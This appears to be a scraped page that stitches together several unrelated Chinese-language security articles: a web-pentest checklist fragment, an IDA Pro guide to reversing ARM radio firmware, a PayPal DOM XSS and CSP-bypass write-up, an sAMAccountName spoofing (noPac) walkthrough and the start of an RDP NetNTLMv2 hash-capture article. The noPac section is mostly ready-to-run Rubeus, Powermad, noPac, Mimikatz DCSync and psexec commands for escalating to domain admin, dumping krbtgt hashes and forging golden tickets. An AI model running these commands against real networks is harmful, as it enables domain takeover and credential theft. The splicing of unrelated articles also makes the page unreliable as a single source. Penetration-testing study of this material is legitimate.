4.ダウンロードを見つけて、記事の最後にあるWebサイトのダウンロード列または添付ファイルリンクにダウンロードする不正ファイルがあるかどうかをテストします。



5.編集者、典型的なeweditors、fckeditorsなどを見つけます。



6.可能なバックグラウンド管理プログラムを見つけて、パスワードが弱いことを試してみてください



元のリンクから転載： https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247485589Idx=1SN=F4F644EA923675C425F1DE9E4E287FB07CHKK SM=CE67A20CF9102B1A1A171041745BD7C243156EAEE575B44444444444D325E2CD2D9F72B2779CF01SCENE=21＃WECHAT_REDIRECT


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
在本文中，我們將以ANYTONE 878UVII對講機中的固件為例，為大家演示如何對ARM固件映像進行逆向分析。不過，本文中的大部分內容，對於ARM架構來說都是通用的。



本文假設讀者已經熟悉IDA Pro，並且至少分析過一些普通的二進製文件。如果您還不熟悉IDA，只需在網上搜索一下，就能找到許多非常優秀的入門教程，大家可以先通過它們來掌握相關的基礎知識。



固件映像就本文來說，我們只需IDA Pro和ANYTONE 878UVII對講機的固件映像就能搞定我們的實驗。並且，所需的映像還可以從分銷商網站下載。實際上，下載哪個版本並不重要，但本文是將以2.04版本為例進行介紹。



 1.png



在下載的更新包中，我們可以找到FW文件夾，其中包含三個文件：CDI、SPI和CDD文件。其中，CDD是最大的文件，它實際上就是我們要分析的固件映像。



這次我們的運氣不錯，因為這個固件映像並沒有加密，否則，事情就會麻煩一些。它只是內部閃存中的映像，甚至連文件頭都沒有。並且，該文件的元數據被拆分為單獨的文件。所以，我們可以直接在IDA Pro中加載CDD文件。



技術背景ANYTONE 878系列對講機使用的是GigaDevice GD32 ARM Cortex-M4微控制器：通過拆開對講機，我們就能看到這些芯片的型號。



除了拆對講機外，實際上還有另一種更方便的方法：查詢FCC。如果您的設備符合FCC的要求，網上應該有關於它的公開信息。這時，我們可以直接在FCC或獨立的數據庫中搜索製造商的信息。大多數情況下，我們會找到一份帶有“內部照片”的文件。這個文件通常能夠提供我們感興趣的信息，比如芯片型號等，這樣，我們就不用拆機了。



 1.png



重要的是，我們建議大家下載CPU的數據表，並保存起來供後面使用：後面步驟中需要設置的參數，都可以從中找到。



關於CPU的相關設置首先要做的是，把CDD拖到打開的IDA Pro窗口中，或者通過文件菜單打開它。 IDA會檢測出這是一個二進製文件。然後，將“Processor type”指定為“ARM little-endian”，具體如下圖所示。



 1.png



現在，先別按“Ok”按鈕，因為還要對處理器選項進行一些設置。我們知道，這種設備使用的處理器是基於ARMv7E-M架構的。因此，我們必須對處理器選項做相應的修改。最佳設置如下圖所示；為此，需要按下“Processor options”菜單中的“Edit ARM architecture Options”按鈕，這樣就可以找到中間的窗格了。



 1.png



由於這個項目與Thumb指令集高度相關，所以也建議在“ARM specific options”中勾選“No automatic ARM THUMB switching”選項。雖然這一點並沒有顯示在上面的截圖中，但對本項目來說的確是一個非常有用的設置。



加載映像現在，我們已經完成了基本的CPU設置。接下來，我們需要將加載的固件映像重新定位到正確的偏移量處。這個固件映像將被加載到IDA數據庫的ROM部分。由於CPU不會從文件中的0x00處開始加載映像，所以，我們必須重新定位。如果跳過這一步，交叉引用將被破壞，反彙編文件將無法正常工作。我們的目標設備中使用的ARM CPU將要求映像從偏移量0x8004000處開始。這裡其實就是映射到物理ROM的內存位置，所以，我們需要將文件映射到這個地址。



在單擊“Load new file”對話框中的Ok按鈕之後，將會出現如下所示的對話框。通常情況下，RAM的大小和ROM的大小並不需要調整。它們現在已經正確地自動填充好了。



 1.png



接下來要做的事情，就是創建一個RAM分區。為此，可以勾選“Create RAM section”，分配的RAM將從0x20000000位置開始，長度為0x17FFF。



如何找到正確的內存偏移量如果讀者是第一次接觸這方面的內容，通常會有這樣的疑問：這些值是如何確定的？答案很簡單，我們可以從之前下載的數據手冊中找到它們。



從第17頁的內存映射部分，我們可以找到主閃存（固件文件）的加載地址。而在第16頁中，我們可以找到SRAM偏移量和這段內存的長度。



 1.png



很簡單吧？上面所做的只是將文件/映像重新定位到從我們的數據表中獲取的正確位置。關於主閃存有一個小技巧，第一個0x4000似乎是由引導程序獲取的，所以，我們的二進製文件必須位於0x8004000處。



二進製文件的結構對於第一次使用IDA的讀者來說，感覺可能非常奇怪：它並沒有像其他軟件一樣進行自動分析，也沒有展示程序代碼，相反，它只是給出了大量的十六進製字符。難道是我們哪裡做錯了嗎？很可能不是。如果您正在使用IDA Pro分析固件映像，這是非常正常的現象。這裡的難點在於，我們必須自己從頭開始進行分析。



 1.png



但這也沒有想像的那麼難。首先，讓我們考察文件的開頭位置。這是ARM CPU開始執行代碼的地方。在這個偏移量處，一個被稱為向量表的結構被定位，它在ARM Cortex通用用戶指南中有很好的詳細描述。



 1.png



正如我們在用戶指南的圖形中所看到的，偏移量0x0000(0x08004000)處包含初始堆棧指針。 CPU將在這個地址加載接下來的四個字節，並將其用作指向未來堆棧的指針。



復位處理程序接下來的字節是各種處理程序，最重要的是複位處理程序（reset handler）。它正是CPU要啟動或重新啟動時將會跳轉到的地方。



 1.png



它又是一個4字節的地址，對於我們的映像來說，這個地址很容易解析。正如鍊接的ARM用戶指南文章所告訴我們的，如果地址的最低有效位為1，則處理程序為Thumb。



在我們的例子中，該地址的最後一個字節是0xF9，二進制形式為11111001B。我們可以看到，這裡的最低有效位確實是1。因此，我們需要將復位處理程序的入口點改為Thumb。實際上，復位處理程序的實際偏移量也由於該位的值而移動了一個字節。



0xF9=11111001b (with Thumb indicator)



0xF8=11111000b (without)



單擊這個偏移量，就會跳轉到復位處理程序的地址減1個字節的地方。現在，請按“Alt+G”，這時會打開一個對話框，我們需要將下面的部分定義為Thumb(CODE16)。



 1.png



這個項目主要涉及Thumb指令集，因此，您也可以從ROM段的第一個字節開始使用Thumb代碼。請記住，這一點並非適用於所有的ARM項目。但對於這個項目來說，這是沒問題的。



將當前偏移量改為CODE16後，只需按“C”，就能在該偏移量處創建代碼了。現在，我們就應該可以看到復位處理程序的代碼了。



 1.png



查找其他代碼和字符串上面介紹的方法雖然能用，但是通過手動方式來創建所有的代碼是相對繁瑣的。別擔心，我們可以藉助於腳本來完成這些任務。實際上，Maddie Stone已經為IDA Pro創建了許多非常方便的腳本，能夠給我們帶來極大的便利。



由於她的腳本不能用於較新的IDA版本（在寫這篇文章時，最新的版本為7.7），所以，我們專門把適用於IDA 7.x版本的腳本上傳到了Github上，讀者可以從https://github.com/alexander-pick/IDAPythonEmbeddedToolkit下載。為了支持基於ARM的項目，我已經對這些代碼做了相應的處理。



首先，我們可以使用腳本define_code_functions.py，在0x08004000到0x080963DC大致範圍內創建代碼。如果腳本詢問是否要撤銷現有的代碼，請選擇No。



IDA Pro應該可以正常工作了，此時的ROM部分應該開始變得更有趣了。



 1.png



接下來，我們可以使用make_strings.py腳本，在ROM的其餘部分創建字符串。這時，你會在其中發現許多我們感興趣的字符串。



關於字符串引用分析這個固件時，我們會發現一個奇怪的現象。由於ANYTONE的開發人員為多國語言創建了固件，所以，他們使用了引用表。因此，這可能導致我們會遺漏某些字符串的引用。之所以會發生這種情況，是因為這些字符串是根據選擇的語言來動態加載的。遺憾的是，基於IDA的靜態分析是無法解決這個問題的。



不過，引導過程中的一些字符串是直接嵌入的，所以它們解析起來問題不大。因此，我們可以從這些字符串開始下手。



 1.png



為了做進一步的分析，我們需要能夠識別一些基本的OS函數，即操作嵌入字符串的函數，比如“print”或“read”函數等。當然，類似“memcpy”這樣的函數在各種操作系統中都是非常常見的。



非常值得注意的是“print_string”函數（一旦識別出來，我就把它重命名為這個名字）。它接受一些坐標和一個字符串作為參數，並將字符串顯示在屏幕上給定的位置處。這個函數在啟動菜單中被大量使用。



從固件鏡像中的字符串可以識別出設備使用的RTOS（實時操作系統）是μC/OS-II。 μC/OS-II是一個用ANSI C編寫的免費實時操作系統。關於該系統的進一步介紹，以及相關文檔，讀者可以在這裡找到；而相關代碼則可以從這裡下載。感興趣的讀者可以參考這些資料，它們應該對您有很大的幫助。



I/O和外圍設備像這樣基於ARM的CPU通常使用特殊的內存區域來處理地址總線、GPIO、I/O或簡單的定時器和時鐘，具體請參閱數據表。實際上，在第14頁中，大家可以找到我們用來指定加載偏移量的內存映射。該映射還包含要添加到數據庫中的特殊內存區域。



打開IDA中的內存區域視圖（segments view）並將它們添加到數據庫中，結果應該與下圖類似。如果你想偷懶，則可以使用這個IDC（https://github.com/alexander-pick/useful-script-and-code/blob/master/GD32F303xx_segments.idc）來完成這個過程。



 1.png



現在，請重新運行自動分析（Options - General - Reanalyse program）以創建交叉引用。



一旦你完成了上面的步驟，就可以查看感興趣的內存區域，看看是否有對它們的交叉引用。這些可以幫助您找到使用特定總線、GPIO或I/O的函數。



如果您查找操作UART的函數，只需檢查UART區域，就會找到對它的引用。這在沒有或只有很少字符串作為引用的情況下是特別有用的。



小結我認為，到目前為止，您應該已經具備了自己研究這一主題所需的一切。請隨時給我留言。如果您還有什麼問題，儘管問。我總是很高興看到人們分享有趣的發現。



閱讀愉快！


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
ee02-article-dom_invader_pp_page_article_image.png



當DOM XSS 隱藏在數千行代碼中時，查找DOM XSS 可能會很棘手。我們最近開發了DOM Invader 來幫助解決這個問題，使用組合的動態+手動方法來發現漏洞，並迅速發現了一個影響PayPal 的有趣的Polyglot DOM XSS。在這篇文章中，我們將展示如何使用意外腳本gadget繞過基於允許列表的CSP。大多數現代網站都使用多個JavaScript庫，並且有很多行複雜的壓縮代碼，這使得對DOM XSS的測試變得非常令人頭痛，PortSwigger安全研究部門專門開發了DOM Invader，使對DOM XSS的測試更加容易。 DOM Invader將為你提供一個方便的樹狀視圖，以此來顯示目標的源和匯（不理解別著急，這是BurpSuite的一個定義），這極大地簡化了發現DOM XSS的過程。



首先，我們使用Burp 的嵌入式瀏覽器來導航站點並註入canary以查看每個頁面上使用了哪些源和接收器。當我們遇到一些有趣的接收器時，我們會使用canary一起發送諸如'' 之類的字符探測器，並檢查接收器以查看它們是否被允許。我們沒花多少時間就找到了一個頁面，它以一種不安全的方式反映了我們的探測器。通常這很困難，因為反射是不可見的，但使用DOM Invader就很容易了。



 1.png



正如你在上面的截圖中看到的，我們的canary被反映在一個id 屬性中。如果我們發送一個雙引號，則可以看到值如何到達接收器。但是當發送雙引號時，屏幕變為空白。但是，如果我們轉義雙引號，則站點不會中斷，我們可以看到它到達接收器：



 2.png



在HTML 中，反斜杠對雙引號沒有影響——所以我們似乎有一個XSS 漏洞。我們需要通過注入其他字符來確認這一點，這將導致JavaScript 執行。在對這個漏洞進行多次探測後，我們注意到注入的值必須是一個有效的CSS 選擇器。所以我們想出了以下向量：



 3.png



由於CSP的原因，這一功能最初並沒有發揮作用，但當我們在Burp中禁用這一功能時，我們收到了警報。然後，我們在HackerOne上向PayPal報告了這一情況，以及禁用CSP的說明。讓我們驚訝的是，我們得到了HackerOne 人員的回應：經過審查，您所描述的行為似乎沒有任何安全風險或安全影響。



顯然我們不同意這個評估，於是開始尋找繞過PayPal 政策的方法。



繞過PayPal上的CSP首先，我們研究了CSP，並註意到一些薄弱的部分。在script-src指令中，他們允許某些域，例如*.paypalobjects.com 和*.paypal.com。它們還包括“unsafe-eval”指令，該指令將允許使用eval、Function 構造函數和其他JavaScript 執行接收器：



 4.png



查看策略，允許列表和“unsafe-eval”可能是繞過CSP的最佳目標。因此，我們在Burp Suite範圍中添加了這些域。你可以在作用域中使用正則表達式，這非常方便。我們的範圍是這樣的：



 5.png



Burp允許你在範圍中選擇特定的協議，由於策略具有“block-all-mixed-content”指令，我們只選擇了HTTPS 協議。



在學習了CSP之後，我們打開了Burp中的嵌入式瀏覽器，開始手動瀏覽網站，這是為了挑選那些擁有大量JavaScript資源的目標。當我們收集了大量的代理歷史記錄後，就可以使用Burp 出色的搜索功能來查找較舊的JavaScript 庫。 Burp允許你只搜索範圍項，所以我們選中了那個框，這允許我們找到繞過CSP的資產。



我們從搜索AngularJS開始，因為用它很容易創建CSP繞過。有對Angular 的引用，但沒有對AngularJS 的引用但我們嘗試的JavaScript文件似乎並沒有加載Angular，也沒有引發異常。所以我們轉向Bootstrap，在請求頭和響應體中進行搜索。出現了幾個Bootstrap 實例，我們發現了一個舊版本(3.4.1)。



接下來，我們研究了Bootstrap gadget。 GitHub 上存在一些XSS 問題，但這些影響了3.4.0 版本。我們查看了Bootstrap代碼一段時間，尋找jQuery的使用情況，但沒有找到合適的gadget。



我們沒有在數據庫中找gadget，而是想到了PayPal gadget。如果PayPal 有一些我們可以利用的不安全JavaScript ，那豈不是更好。這一次，我們沒有搜索特定的庫，而是搜索託管庫的路徑的一部分（例如“/c979c6f780cc5b37d2dc068f15894/js/lib/”）。在搜索結果中，我們注意到一個名為youtube.js 的文件，並立即在其中發現了一個明顯的DOM XSS 漏洞：



 6.png



這個文件使用的是jQuery，所以我們所需要做的就是包含jQuery和youtube.js，利用這個漏洞，然後我們繞過了CSP。看看YouTube .js文件，我們看到它使用了一個CSS選擇器來找到YouTube播放器元素：



 7.png



因此，我們需要注入一個帶有“youtube-player”類的元素和一個包含jQuery XSS向量的data-id屬性。一旦我們有了通用PayPal CSP繞過的基礎，要做的就是把它與原始注入結合起來。首先，我們注入了一個帶有srcdoc 屬性的iframe。這是因為我們想注入一個外部腳本，但因為這是一個基於DOM 的漏洞，腳本將無法執行。但是有了srcdoc，會發生以下情況：



 8.png



請注意，我們需要通過轉義雙引號並為選擇器的值部分分配單引號來確保它是一個有效的選擇器。然後再注入指向jQuery 和YouTube gadget的腳本：



 9.png



請注意，我們必須對向量進行HTML 編碼，因為我們不希望它以字符關閉srcdoc屬性。出於同樣的原因，我們避免使用空格。然後我們使用YouTube gadget注入腳本，jQuery 會轉換並執行該腳本。我們再次需要對向量進行HTML 編碼，給它正確的類名，並使用data-id 屬性來注入我們的向量。注意，我們使用了一個編碼的單引號來避免屬性中斷。我們必須對雙引號進行HTML編碼，因為srcdoc將解碼HTML，而data-id屬性將在iframe中呈現時進行解碼，因此雙編碼可確保引號在註入YouTube gadget時存在。最後，我們使用單行註釋進行清理，以確保腳本在註入後忽略任何內容，即用雙引號和單引號完成CSS 選擇器。



 10.png



可以在此處找到最終的概念證明。



概念證明這是PoC 的截圖：



 11.png



可以看到對所有PayPal 的完整CSP 繞過，但它是必要的嗎?正如我們所見，jQuery是CSP的剋星。它使用“unsafe-eval”指令轉換腳本，並且很樂意使用策略執行它們。看看原始的XSS漏洞，它似乎是一個jQuery選擇器。因此，我們可以注入一個腳本，它將被jQuery轉換。所以不需要單獨的CSP 繞過。因此，我們可以將注入簡化為以下內容：



 12.png



完整的概念證明請點此。



總結允許列表策略絕對是不安全的，尤其是當你有大量可能被濫用的腳本/庫時。即使用戶輸入通常不需要，也要修復XSS，這有助於防止意外的腳本gadget。



你永遠不應該僅僅依靠CSP 來保護XSS。 雖然這是你防禦的一部分，但它不是唯一可用的障礙。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
與標準用戶帳戶相比，機器帳戶會在名稱末尾附加$符號。在默認情況下，Microsoft操作系統缺乏安全控制和加固措施，難以防禦某些攻擊。此外，多年來的事實證明，Windows生態系統中許多事情的工作方式可能會通過利用現有的功能和工作流來加以濫用。



舉例來說，active directory中的每個帳戶都會在“SamAccountName”屬性中提供名稱。但是，它卻沒有提供防止被濫用的措施，因此任何擁有機器帳戶的用戶都可以修改該值。這個值被修改後，可以用來冒充域上的其他帳戶，如域控制器的機器帳戶。 Charlie Clark是第一個詳細介紹如何將這些漏洞武器化的人。



在申請服務票證之前，需要先簽發票證授予票證（TGT）。當為密鑰分發中心(KDC)中不存在的帳戶請求服務票證時，密鑰分發中心將跟踪搜索，並在該帳戶上附加$符號。結合這種行為和對“SamAccountName”屬性缺乏控制的事實，滲透測試人員可以利用這一點進行域升級。具體地說，可以請求域控制器帳戶的票證授予票證，並且在任何服務票證請求之前恢復“SamAccountName”屬性值將強制KDC搜索域控制器的機器帳戶，並代表域管理員發出提權的服務票證。



要想利用該漏洞進行域升級，用戶必須具有機器帳戶的權限，只有這樣才能修改“SamAccountName”和“ServicePrincipalName”屬性。一般來說，可以創建機器帳戶的用戶，都擁有修改這些屬性所需的特權。在默認情況下，域用戶的機器帳戶配額設置為10，這表示允許用戶在域上創建機器帳戶數量。或者，攻擊者也可以從作為機器帳戶所有者的帳戶的角度發動進攻。利用“SamAccountName”執行域升級包括以下步驟：



創建一個機器賬戶



清除“servicePrincipalName”屬性



修改機器賬戶的“sAMAccountName”屬性，以指向沒有$符號的域控制器名稱



為域控制器賬戶申請一個TGT



將“sAMAccountName”屬性恢復為原始值或任何其他值



使用S4U2self方法請求一個服務票據



冒充域管理員賬戶接收服務票據



下圖演示了“sAMAccountName”冒充技術的具體步驟。



 1.png



sAMAccountName欺騙



檢測漏洞微軟已經發布了補丁，以防止攻擊者成功利用該漏洞。然而，在很多情況下，補丁並沒有及時應用，這就創造了一個時間窗口，使得這種技術可以在滲透測試中加以利用。該技術的先決條件如下所示：



1、沒有安裝KB5008380和KB5008602安全補丁的域控制器



2、有效的域用戶帳戶



3、機器帳戶配額大於0



由於這個過程需要訪問內部網絡，因此，假定攻擊者已經獲得了低權限的帳戶。如上所述，機器帳戶配額默認為10，因此唯一的要求是識別系統是否應用了補丁。這並非難事，可以通過請求沒有域用戶帳戶的PAC的票證授予票證並觀察base64票證大小（與使用PAC發出的票證相比要更小）來實現。 Rubeus可以與/nopac開關一起使用，以請求已知憑據的域帳戶的TGT。



Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap



 1.png



通過Rubeus檢測sAMAccountName欺騙漏洞



從票據大小來看，可以認為域控制器是易受攻擊的，因為票證沒有隨PAC一起發出。



 1.png



沒有PAC時Rubeus票據的大小



另外，C#工具noPac可用於檢索網絡上所有可用域控制器的TGT票證。該工具是基於Rubeus的，因為它使用庫“Rubeus.lib.Interop.LUID”來獲取票證。票證的大小可以確定KDC是否發出了沒有PAC的票證。



noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234



 1.png



noPac掃描器



如果通過PowerShell控制台進行操作的話，可以藉助於Shitsecure開發的一個PowerShell腳本“Invoke-noPac”——它可以將.NET程序集noPac嵌入base64中。由於該工具實際上就是noPac，所以可以使用同樣的參數來檢索票證。



Import-Module .\Invoke-noPAC.ps1



Invoke-noPAC -command 'scan -domain purple.lab -user pentestlab -pass Password1234'



 1.png



掃描PowerShell



手動方式實際上，現在已經有各種各樣的工具和腳本，可以幫助我們從加入域和沒有加入域的系統中自動完成上述任務。但是，在深入研究自動化之前，了解如何使用現有工具組手動完成漏洞利用是非常重要的。通過活動目錄創建機器帳戶對於滲透測試人員來說並不陌生，因為在基於資源的受限委託期間也可以使用它。 Kevin Robertson開發了一個名為Powermad的PowerShell模塊，該模塊提供了在域上創建機器帳戶的功能。



New-MachineAccount -MachineAccount 'PentestLab' -Domain 'purple.lab' -DomainController 'dc.purple.lab'



 1.png



創建機器賬戶



使用PowerSploit的“Set-DomainObject”從已創建的機器帳戶中刪除服務主體名稱值非常方便：



Set-DomainObject 'CN=PentestLab,CN=Computers,DC=purple,DC=lab' -Clear 'serviceprincipalname'



 1.png



清除SPN



通過Powermad和“SetMachineAccountAttribute”函數，也可以修改'SamAccountName'屬性值以使其指向域控制器主機名：



Set-MachineAccountAttribute -MachineAccount 'PentestLab' -Value 'dc' -Attribute 'samaccountname'



 1.png



重命名sAMAccountName



查看活動目錄中的屬性，可以看到新機器帳戶的值現在指向“dc”，因此這個帳戶能夠冒充域控制器。



 1.png



sAMAccountName欺騙



我們可以通過查詢域控制器來驗證屬性“sAMAccountName”是否已被修改。此外，PowerSploit中的“GetDomainComputer”函數可以用來枚舉域上機器帳戶的屬性。



Get-DomainComputer 'CN=Pentestlab,CN=Computers,DC=purple,DC=lab' -Domain purple.lab -Server dc.purple.lab | select samaccountname



 1.png



檢索sAMAccountName



當涉及到Kerberos的操作時，Rubeus是一個標準工具。由於sam賬戶的名稱已經修改，所以，它現在可以從標準用戶的上下文中為dc賬戶申請票證授予票證。



.\Rubeus.exe asktgt /user:'dc' /password:'Password123' /domain:'purple.lab' /dc:'dc.purple.lab' /nowrap



 1.png



檢索TGT



下面，我們需要把sam帳戶名屬性恢復到其原始值或任何其他值，否則無法發出服務票證。



Set-MachineAccountAttribute -MachineAccount 'PentestLab' -Value 'PentestLab$' -Attribute samaccountname



 1.png



恢復sAMAccountName



由於TGT已經存儲在內存中，所以，現在可以使用kerberos擴展's4u2self'以域管理員的身份來請求服務票證。由於原始票證屬於dc用戶，而sam帳戶名已重命名，即該用戶已經不存在，所以，Kerberos將查找dc$，這是一個有效的機器帳戶，並為請求的服務發出票證。



./Rubeus.exe s4u /self /impersonateuser:'Administrator' /altservice:'cifs/dc.purple.lab' /dc:'dc.purple.lab' /ptt /ticket:[Base64 TGT]



 1.png



請求服務票證



我們可以在現有會話中執行Mimikatz，以便通過DCSync技術轉儲“krbtgt”帳戶的哈希值，從而創建黃金票證。



lsadump:dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt



 1.png



DCSync



自動化方式基於sAMAccountName欺騙的滲透測試，也可以使用由Cube0x0開發的C#工具noPac直接從內存中自動完成。為此，我們可以執行下面的命令，創建一個具有指定密碼的機器帳戶，並將獲得“CIFS”服務的服務票證，該服務票證將被傳遞到內存中。



noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt



 1.png



noPac



以下命令可用於驗證域升級的情況，因為標準用戶可以枚舉域控制器上C$文件夾的內容。



dir \\dc.purple.lab\c$



 1.png



驗證域升級



類似地，如果初始implant是基於PowerShell的，則可以在Invoke-noPac腳本中使用相同的命令行參數。正如上面所說的那樣，它實際上是noPac C#工具的包裝器。



Invoke-noPac -command '-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt'



 1.png



noPac PowerShell



訪問域控制器的C$文件夾可以驗證緩存到內存中的服務票證是否已經升級。



dir \\dc.purple.lab\c$



 1.png



驗證服務票證是否已經升級



擴展到非域機器該技術的相同原理，也可以應用到未連接到域的系統上。 Hossam Hamed發布了一個名為“sam the admin”的python腳本，它模擬了這種攻擊。最初，該腳本將嘗試列舉“ms-DS-MachineAccountQuota”屬性，以確定是否可以在域中添加新的機器。然後，將用隨機密碼創建一個機器賬戶。新機器賬戶的“sAMAccountName”屬性將被修改為包含域控制器機器賬戶的值。然後，請求一個升級的票證並保存到緩存中。最後，“sAMAccountName”屬性的原始值將被恢復，並使用Impacket套件中的“smbexec”建立到域控制器的會話，並使用緩存的票證。



python3 sam_the_admin.py 'purple/pentestlab:Password1234' -dc-ip 10.0.0.1 -shell



 1.png



sam the admin shell



該腳本包含一個標誌，可用於在後台利用“secretsdump”來轉儲域哈希值。



python3 sam_the_admin.py 'purple/pentestlab:Password1234' -dc-ip 10.0.0.1 -dump



 1.png



sam the admin dump



這些哈希值可用於脫機破解，以便識別正在使用的弱密碼，並確定客戶端的密碼策略是否足夠強、是否符合行業標准或是否需要進一步評估。此外，由於“krbtgt”帳戶的哈希值是可見的，可以為域持久化創建一個黃金票證。



 1.png



轉儲域哈希值



Oliver Lyak發布了一個類似的python腳本，它既可以用於掃描域控制器以識別易受攻擊的主機，又可用於檢索授予服務票證的票證。



python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'



 1.png



Pachine掃描器



對易受攻擊的域控制器執行以下命令，就可以創建一個具有隨機密碼的機器帳戶，以獲取票證授予票證。然後，重命名機器帳戶名稱，並使用S4U2self檢索服務票證，並將其保存在本地，以供屬於“域管理員”組的管理員用戶使用。



python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'



 1.png



利用Pachine獲取票證



可以使用“export krb5ccname”和存儲票證的路徑將票證導入Kerberos緩存。由於票證現在是從當前控制台導入的，因此，Impacket“psexec”可以與Kerberos身份驗證一起使用，以便訪問域控制器。



export KRB5CCNAME=administrator@purple.lab.ccache



impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'



1.png



PsExec



通過一個基於python腳本“sam the admin”的工具來實現該技術也是可行的，這個腳本名為noPac。這個掃描器腳本將枚舉“ms-DS-MachineAccountQuota”屬性，並嘗試從所有可用的域控制器獲得票證授予票證。票證大小也將顯示在控制台中，以便快速識別易受攻擊的目標。在下面的示例中，與主機10.0.0.1相比，在沒有PAC的情況下接收的兩個票證相對較小，所以，主機10.0.0.1發出的是一個帶有PAC的票證。



python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1



 1.png



noPac掃描器



這個腳本可以根據活動的需要用各種參數執行。只需指定一個域用戶的憑證和域控制器的IP地址就可以發動攻擊，直到檢索到一個升級的票證為止。



python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1



 1.png



sAMAccountName Spoofing – 通過noPac 檢索服務票證



 1.png



sAMAccountName Spoofing – noPac



只要附加“-shell”和“-impersonate”標誌，便可以在域控制器上建立會話。



python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator



 1.png



冒充Administrator



類似地，“-dump”標誌可用於從域用戶的ntds.dit秘密中檢索哈希值。由於已經通過Kerberos票證實現了域管理員訪問權限，因此，可以獲取“krbtgt”帳戶的哈希值，以便建立域的持久性訪問。



python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt



 1.png



轉儲krbtgt的哈希值



演示視頻可以從這裡查看。



參考資料https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html



https://exploit.ph/more-samaccountname-impersonation.html



https://github.com/WazeHell/sam-the-admin



https://github.com/cube0x0/noPac


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
遠程桌面協議(RDP) 在網絡安全領域發揮的作用越老越大。勒索軟件組織將其作為攻擊公共和私營部門的抓手，在2019 年由遠程桌面協議引起的攻擊已經造成了75 億美元的損失。在2020 年，RDP 攻擊增長了768%。網絡安全與基礎設施安全局(Cybersecurity Infrastructure Security Agency)等機構在其2020年的《勒索软件指南》 (Ransomware Guide)中將RDP列為需要保護的焦點。而在另一方面，滲透測試團隊正在定期使用RDP作為在網絡內部進行橫向移動、劫持會話和捕獲哈希值等的有效工具。



GoSecure Titan Labs 團隊看到了進一步探索哈希捕獲主題的機會，這是任何進攻團隊的必備工具。本文將研究RDP 安全模式、它們如何工作以及如何使用PyRDP（GoSecure 創建的庫）通過RDP 協議將其付諸行動以捕獲NetNTLMv2 哈希。這一努力始於每年長達一個月的Hacktoberfest期間的一個項目，該項目導致了PyRDP的幾項改進。在這些改進中，我們讓用戶更容易捕獲NetNTLMv2哈希。



首先，我們將介紹一種用於攻擊性用例的技術，通過在NTLMSSP身份驗證期間捕獲NetNTLMv2哈希值來獲得對遠程RDP設備的訪問。為了將其付諸實踐，我們將利用PyRDP 在RDP 支持的兩個主要身份驗證場景中執行這些哈希的捕獲：啟用網絡級別身份驗證(NLA) 和不啟用NLA。為了更多地了解這兩種場景，讓我們從詳細介紹RDP 協議中可用的安全模式開始。



RDP 安全模式RDP 是一種通常用於通過TCP/IP 使用終端客戶端和服務器來遠程管理計算機的協議。目前，它提供了不同類型的安全模式來加密客戶端和服務器之間的通信：



RDP 標準安全性：根據客戶端的支持和服務器選擇的加密級別（低、客戶端兼容、高、FIPS）對所有流量進行對稱加密。這種方法在中間人攻擊攻擊的情況下是最不安全的，因為服務器控制加密方法並可以決定是否不需要加密，從而完全禁用它。



 1.png



RDP 增強安全性：通過外部協議提供加密和安全機制。其中兩種機制是：自RDP 5.2以來的TLS(傳輸層安全)和CredSSP，自RDP 6以來，除了使用TLS外，它還支持NLA(網絡級別認證)。帶有TLS的RDP還警告用戶，如果服務器的證書是自簽名的或不受信任的，可能會發生中間人攻擊，但它不會阻止客戶端接受風險。



當RDP 使用NLA 的增強安全性時，用於委派合適的身份驗證方法的協議是憑據安全支持提供程序(CredSSP)。這些授權的身份驗證方法是Kerberos 或NTLMSSP，後者是用於捕獲NetNTLMv2 哈希的身份驗證方法，這些哈希用於客戶端和服務器之間的質詢/身份驗證消息。



通過網絡級身份驗證剖析身份驗證為了理解NetNTLMv2 哈希捕獲，本節將詳細描述通過NLA 進行的身份驗證及其結構。為了簡化這個過程，我們將把它分成四個階段：



 2.png



1.RDP 客戶端和服務器之間建立了TLS 連接；



2.CredSSP 的SPNEGO 為客戶端和服務器執行，以決定將使用哪種相互身份驗證協議：Kerberos 或NTLMSSP；



3.在這一步中，將發送服務器的公鑰進行驗證，並探測其真實性。這樣做是為了避免中間人攻擊；



4.一旦通過TLS 和SPNEGO 保護連接，客戶端就會發送其憑據以進行身份驗證。



我們的注意力將集中在最後一步，因為在使用NTLMSSP 協議的情況下，客戶端將以NTLM 消息的形式發送憑據的哈希版本並將被攔截。這些消息是ASN.1 編碼的TSRequest 結構，身份驗證數據按以下順序發送：



 3.png



首先，客戶端發送一個NEGOTIATION消息來啟動NTLM認證，服務器端發送一個CHALLENGE消息來回應這個質詢。在這個階段，質詢是包含隨機數（用於防止重放攻擊的隨機字節序列）的64 位值。然後，客戶端使用個身份驗證消息來響應這個請求，該消息包含完成身份驗證過程所需的憑據。這是我們希望從客戶短中提取質詢響應(以 NTLMv2_RESPONSE 結構的形式)並進行中繼或破解的階段。



